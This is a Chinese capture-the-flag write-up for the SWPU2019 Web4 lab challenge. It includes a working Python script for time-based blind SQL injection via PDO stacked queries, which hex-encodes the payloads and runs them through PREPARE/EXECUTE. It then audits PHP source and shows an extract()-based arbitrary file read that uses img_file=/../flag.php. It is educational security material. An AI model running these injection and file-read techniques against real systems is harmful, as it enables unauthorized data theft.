[SWPU2019]Web4 盲注+代码审查

开始用dirsearch扫描了一下后台,发现没扫出啥玩意儿,或许是一个注入题(又到我的弱处了),先常规的使用 ' ; # 来判断一下

 发现当我们只输入1'的时候发现是一个函数文件CBTool.php报错,而1的时候是一个正常的echo 错误

看来username确实存在注入点,但不知道是哪个方面的注入 ,试了一下异或,盲注都不行,又超出我注入浅薄的知识了,学习得知一个方法:当输入1'报错,但是1"没有报错的话,那就是堆叠注入了,然后我试了一下最基本的一些堆叠注入,发现都被过滤了,真是有点严啊……

学习得知这是基于PDO下的堆叠注入PDO场景下的SQL注入探究 - 先知社区

要用到预编译法(我把这个方法给忘记了)

import requests
import time
url="http://3e50045c-07a0-4474-a0cb-14b41c612f29.node4.buuoj.cn:81/index.php?r=Login/Login"
flag=""
def str_to_hex(s):#字符转十六进制
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

for i in range(1,40):
    print(i)
    for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.":
        #ord()将字符串转为ascii,因为在测试中得不到特殊页面,因此利用sleep(3)来判断是否注入成功
        sql = "select if((ascii(substr((select group_concat(flag) from flag),"+str(i)+",1))='"+str(ord(str1))+"'),sleep(3),2);"   # ctf
        sql_hex = str_to_hex(sql)#sql被抓转换为了十六进制数
        data={
            "username":"1\';SET @a=0x"+str(sql_hex)+";PREPARE st FROM @a;EXECUTE st;",#预处理
            "password":"123"
        }
        time1=time.time()
        result=requests.post(url,json=data)#timeout一个数字或一个元组,指示等待客户端建立连接和/或发送响应的秒数
        if time.time()-time1>=3:#利用python中time库来判断执行post请求前的时间戳和执行后的时间戳中的时间来知道是否执行成功sql语句
            flag+=str((str1))
            print(flag)
            break
print(flag)
#glzjinwantsaliendzip
#glzjinnts_a_girl_friendzip
#glzjinwantsgirliendzip
#glzjin_wants_a_girl_friend.zip

因为在测试过程中得不到我们想要的回显界面,因此利用时间函数sleep(n)成功执行则会延迟n秒,结合time库的time()函数返回请求前后的时间戳是否大于等于3来得知是否执行成功;这里转换为十六进制是避免过滤,因为在数据库中十六进制数是可以直接识别的

不理解为什么其他wp都是直接select flag from flag的,可能是懒得写了,只需要自己改一下语句一个个找即可

最后会出来一个安装包glzjin_wants_a_girl_friend.zip,打开是一堆源码,找到最关键的函数

 可以发现有一个flag.php文件,看来是要在源码中找到切入点读取flag.php文件了 

if(!empty($_REQUEST['r']))
{
	$r = explode('/', $_REQUEST['r']);//以/为媒介,分割r参数传进来的数据
	list($controller,$action) = $r;//相当于$controller存储数组第一位,$action存储数组第二位
	$controller = "{$controller}Controller";
	$action = "action{$action}";


	if(class_exists($controller))//类是否存在
	{
		if(method_exists($controller,$action))//检查类的方法是否存在,如果存在可以避免变量覆盖
		{
			//
		}
		else
		{
			$action = "actionIndex";
		}
	}
	else
	{
		$controller = "LoginController";
        $action = "actionIndex";
	}
    $data = call_user_func(array( (new $controller), $action));//调用类$controller中的方法$action
} else {
    header("Location:index.php?r=Login/Index");
}

在fun.php中看到我们可以传入的参数r

经过explode函数分割,然后list赋值,再经过{}拼接在一起,测试如下

 相当于将r传入的路径如/index/flag,将他们分割开来,第一个拼接Controller为……,第二个拼接action

$controller = "{$controller}Controller";
$action = "action{$action}";
假如r传入/index/flag
->
$controller =indexController
$action=actionflag

暂时不清楚功能是啥,继续往下看,一个 class_exists()判断该类是否存在,一个method_exists判断该类中的方法是否存在

类不存在则会变量覆盖

else
	{
		$controller = "LoginController";
        $action = "actionIndex";
	}

然后最后是一个call_user_func函数,当第一个参数是类名的时候,则会调用该类中的$action方法

结合我们的源码有BaseController.php,UserController……这里我们可以控制调用哪个类哪个方法,因此我们去看看别的源码

class UserController extends BaseController
{
	// 访问列表
	public function actionList()
	{
		$params = $_REQUEST;
		$userModel = new UserModel();
		$listData = $userModel->getPageList($params);
		$this->loadView('userList', $listData );
	}
    public function actionIndex()
    {
        $listData = $_REQUEST;
        $this->loadView('userIndex',$listData);
    }

}

都是action开头的方法,都调用了父类的loadView函数,并且传入两个参数(注意这里的第二个参数$listData是我们可以通过$_REQUEST控制的)

public function loadView($viewName ='', $viewData = [])
	{//$this->loadView('userIndex',$listData);
		$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
		if(file_exists($this->viewPath))
		{
			extract($viewData);
			include $this->viewPath;
		}
	}

 将参数传入后上面路径会构成userIndex.php文件,并且include打开,其实我本来想通过控制第二个参数来进行extract函数覆盖变量以达到控制include使用,但是该函数第一步进行了再一次的viewPath覆盖,因此这个办法不行,我们去看一下它include那个函数文件

if(!isset($img_file)) {
                    $img_file = '/../favicon.ico';
                }
                $img_dir = dirname(__FILE__) . $img_file;
                $img_base64 = imgToBase64($img_dir);
                echo '<img src="' . $img_base64 . '">';       //图片形式展示

判断变量$img_file是否存在,经过imgToBase64函数后进行echo输出

<?php
function imgToBase64($img_file) {

    $img_base64 = '';
    if (file_exists($img_file)) {
        $app_img_file = $img_file; // 图片路径
        $img_info = getimagesize($app_img_file); // 取得图片的大小,类型等

        $fp = fopen($app_img_file, "r"); // 图片是否可读权限

        if ($fp) {
            $filesize = filesize($app_img_file);
            $content = fread($fp, $filesize);
            $file_content = chunk_split(base64_encode($content)); // base64编码,从文件中读取内容
            switch ($img_info[2]) {           //判读图片类型
                case 1: $img_type = "gif";
                    break;
                case 2: $img_type = "jpg";
                    break;
                case 3: $img_type = "png";
                    break;
            }

            $img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码

        }
        fclose($fp);
    }

    return $img_base64; //返回图片的base64
}
?>

函数审查中我们可以看到一个content变量,经过了fread函数

说白了这个函数作用就是读取$img_file路径文件的内容,并且base64输出, 因为有extract和$_REQUEST的结合,我们可以控制$img_file为我们所用,因此这题思路如下:

通过fun.php中的r变量来控制我们所需要调用的类
分析可得
r=User/Index
通过调用UserController类中的actionIndex函数利用$_REQUEST
传入
img_file=/../flag.php(不知道哪个位置就多试几次)
经过调用父类的loadView函数
调用extract->img_file=/../flag.php进行变量赋值
打开userIndex文件
通过imgToBase64函数读取/../flag.php的内容
然后进行base64加密后的echo输出得到flag

 感觉这题就难在盲注上面了,多了一个sleep方法

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值